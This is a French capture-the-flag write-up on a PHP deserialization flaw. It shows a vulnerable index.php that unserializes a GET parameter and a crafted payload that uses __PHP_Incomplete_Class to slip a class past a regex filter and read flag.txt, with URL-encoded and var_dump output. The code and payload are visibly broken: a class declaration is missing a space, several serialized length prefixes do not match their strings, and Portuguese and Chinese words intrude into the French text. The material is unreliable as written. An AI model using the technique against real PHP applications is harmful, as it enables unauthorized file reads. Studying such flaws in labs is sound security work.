Exploitation des vulnérabilités de sérialisation PHP

Configuration de l'environnement :

Ce TP sur les vulnérabilités de sérialisation provient d'un défi CTF de 2021. J'ai reproduit l'environnement de test localement en utilisant phpstudy. Les fichiers PHP impliqués sont : index.php, function.php et ma_classe.php

index.php :

<?php
// index.php
ini_set('display_errors', 'on');
include "function.php";
$donnees = unserialize($_GET['charge']);
var_dump($donnees);
echo '<br>';
var_dump(serialize($donnees));
if (preg_match('/ma_classe/i', serialize($donnees))) {
    echo "???";
    throw new Exception("Error: Class 'ma_classe' not found");
}
highlight_file(__FILE__);
echo "<br>";
highlight_file("ma_classe.php");
echo "<br>";
highlight_file("function.php");
echo "End";

function.php :

<?php
function __autoload($nom_classe) {
    // function.php
    require_once "./$nom_classe.php";
}
?>    

ma_classe.php :

<?php
// ma_classe.php
classBienvenue {
    public function __destruct() {
        echo "Objet détruit.<br/>";
        var_export($this->fichier);
        if ($this->fichier) {
            echo file_get_contents($this->fichier);
        }
    }
}
?>

Démarche d'exploitation :

Ce TP explore le mécanisme de traitement lors de la désérialisation d'une classe inexistante en PHP. Nous allons construire une chaîne de sérialisation spéciale pour contourner le filtrage par expression régulière dans index.php et réussi à lire le contenu du fichier flag.txt. Le chemin absolu requis est : D:\phpstudy_pro\WWW\ctf\flag.txt

Avant de commencer, il faut connaître plusieurs mécanismes spéciaux de sérialisation/désérialisation :

(1) : Quando PHP rencontre une classe inexistante, il la convertit en une classe spéciale appelée __PHP_Incomplete_Class. Le nom original de la classe A est stocké dans la propriété __PHP_Incomplete_Class_Name, tandis que les autres propriétés restent inchangées. Lors de la sérialisation, la fonction serialize détecte cette classe spéciale et la reconvertit en classe portant le nom stocké dans __PHP_Incomplete_Class_Name.

(2) : Quando la chaîne de sérialisation contient un nom de classe non défini et que cette classe n'existe pas dans l'environnement actuel, la fonction __autoload est automatiquement appelée pour tenter de charger la définition de la classe correspondante.

Dans ce défi, nous devons charger la classe Bienvenue depuis ma_classe.php. Pour inclure cette classe via __autoload, nous avons besoin d'un nom de classe ma_classe qui n'existe pas réellement. Si nous tentons une désérialisation directe, soit une erreur surviendra lors de la désérialisation de la classe ma_classe, soit la classe Bienvenue ne sera pas trouvée. En exploitant le comportement spécial de PHP avec __PHP_Incomplete_Class, nous pouvons contourner cette limitation.

Dans la page index.php, le paramètre contrôlable par l'utilisateur est charge. Ce paramètre doit contenir des données sérialisées. Après désérialisation puis ré-sérialisation, une expression régulière vérifie si le mot-clé ma_classe existe. Si oui, une exception est levée et le script s'arrête. Nous allons construire une chaîne de sérialisation spéciale charge :

charge :

a:2:{i:0;O:22:"__PHP_Incomplete_Class":1:{s:6:"fichier";O:7:"ma_classe":0:{}}i:1;O:9:"Bienvenue":1:{s:6:"fichier";s:37:"D:\phpstudy_pro\WWW\ctf\flag.txt";}}

Cette chaîne représente un tableau contenant deux objets.

Le premier objet est une instance de la classe `__PHP_Incomplete_Class` avec une propriété `fichier` qui contient un objet `ma_classe`. Comme la classe `ma_classe` n'est pas définie, c'est un objet vide.

Le second objet est une instance de la classe `Bienvenue` avec une propriété `fichier` contenant le chemin "D:\phpstudy_pro\WWW\ctf\flag.txt".

Note : Comme nous soumettons les données via le navigateur, nous devons les encoder en URL : charge = a%3a2%3a%7bi%3a0%3bO%3a22%3a%22__PHP_Incomplete_Class%22%3a1%3a%7bs%3a6%3a%22fichier%22%3bO%3a7%3a%22ma_classe%22%3a0%3a%7b%7d%7di%3a1%3bO%3a9%3a%22Bienvenue%22%3a1%3a%7bs%3a6%3a%22fichier%22%3bs%3a37%3a%22D%3a%5cphpstudy_pro%5cWWW%5cctf%5cflag.txt%22%3b%7d%7d

Après exécution dans le navigateur, nous constatons que le fichier est lu avec succès et que le filtrage par expression régulière dans index.php est contourné.

Explication technique :

Après la désérialisation, la classe ma_classe devient une propriété de __PHP_Incomplete_Class, ce qui déclenche l'autoload pour inclure ma_classe.php. Lors de la deuxième sérialisation, comme __PHP_Incomplete_Class ne contient pas de propriété __PHP_Incomplete_Class_Name, cet objet disparaît, ce qui permet de contourner la检测 par preg_match. La désérialisation de la classe Bienvenue est ensuite exécutée normalement.

Comparaison : après désérialisation puis ré-sérialisation de charge, ma_classe disparaît, contournant ainsi le filtre de index.php :

Données sérialisées transmises :
charge=a:2:{i:0;O:22:"__PHP_Incomplete_Class":1:{s:6:"fichier";O:7:"ma_classe":0:{}}i:1;O:9:"Bienvenue":1:{s:6:"fichier";s:37:"D:\phpstudy_pro\WWW\ctf\flag.txt";}}

// Désérialisation de charge
$donnees = unserialize($_GET['charge']);
var_dump($donnees);
Résultat :  
array (size=2)
  0 => 
    object(__PHP_Incomplete_Class)[1]
      public 'fichier' => 
        object(__PHP_Incomplete_Class)[2]
          public '__PHP_Incomplete_Class_Name' => string 'ma_classe' (length=8)
  1 => 
    object(Bienvenue)[3]
      public 'fichier' => string 'D:\phpstudy_pro\WWW\ctf\flag.txt' (length=33)

// Ré-sérialisation des données désérialisées
var_dump(serialize($donnees));
Résultat :
string 'a:2:{i:0;O:22:"__PHP_Incomplete_Class":0:{}i:1;O:9:"Bienvenue":1:{s:6:"fichier";s:37:"D:\phpstudy_pro\WWW\ctf\flag.txt";}}' (length=119)

Étiquettes: PHP Deserialization Vulnerability CTF security

Publié le 26 juillet à 20h29